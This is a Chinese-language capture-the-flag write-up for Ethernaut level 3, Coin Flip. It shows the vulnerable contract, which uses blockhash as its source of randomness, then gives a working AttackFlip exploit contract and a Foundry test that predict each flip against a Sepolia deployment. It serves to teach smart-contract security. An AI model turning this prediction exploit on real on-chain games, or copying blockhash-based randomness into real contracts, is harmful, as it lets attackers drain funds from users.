# Ethernaut CTF Level 3 - Coin Flip
[toc]
## 題目
這是一個擲銅板的遊戲。
你需要連續地猜對擲出來的結果。為了完成這一關,你需要利用你的超能力,然後連續猜對十次。
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
```
<br>
## 分析
這是個丟硬幣的遊戲,玩家輸入true / false猜測後
根據`block.number`加工運算之後
利用`bool side = coinFlip == 1 ? true : false;`來看是true or false
問題點在 `block.number`本身是可預測以及可觀察到的數值
所以這整個邏輯並非真正的隨機
當然直接在console猜測應該是非常難通過的
<br>
對應的攻擊思路也會依樣畫葫蘆,題目怎麼寫
我們就寫一個同邏輯的"猜測"合約
<br>
## 攻擊
在線上Editor - [Remix](https://remix.ethereum.org/) 建立新檔案
- 思路是複製題目合約的判斷思路
- 寫一個Interface,是為了順利使用題目合約的`flip()` function
- 主邏輯就是按照題目的做依樣畫葫蘆來判斷
- 知道解答後最後呼叫`flip()`
Deploy後,重複執行十次即可過關
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}
contract AttackFlip {
using SafeMath for uint256;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
ICoinFlip public orgContract = ICoinFlip(0x1xxxxxxxxxxxx);
function guessFlip() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
orgContract.flip(side);
}
}
```
<br>
Deploy後,執行十次guessFlip即可
## 補充
在鏈上很難做到真正的隨機
通常會需要依靠預言機從外部得到隨機函數
<br>
## Foundry Test
```solidity=
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "forge-std/Vm.sol";
import "openzeppelin-contracts/utils/math/SafeMath.sol";
import "../../src/levels/03-CoinFlip/CoinFlip.sol"; // test/Billy/ folder
contract ContractTest4 is Test {
using SafeMath for uint256;
CoinFlip level3 =
CoinFlip(payable(0x8658FC75c895A196E8054f415527bc34455f3d97));
function setUp() public {
Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D));
vm.createSelectFork(vm.rpcUrl("sepolia"));
vm.label(address(this), "Attacker");
vm.label(
address(0x8658FC75c895A196E8054f415527bc34455f3d97),
"Ethernaut03"
);
}
function testEthernaut03() public {
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
level3.flip(side);
console.log("Consecutive Wins: ", level3.consecutiveWins());
}
receive() external payable {}
}
```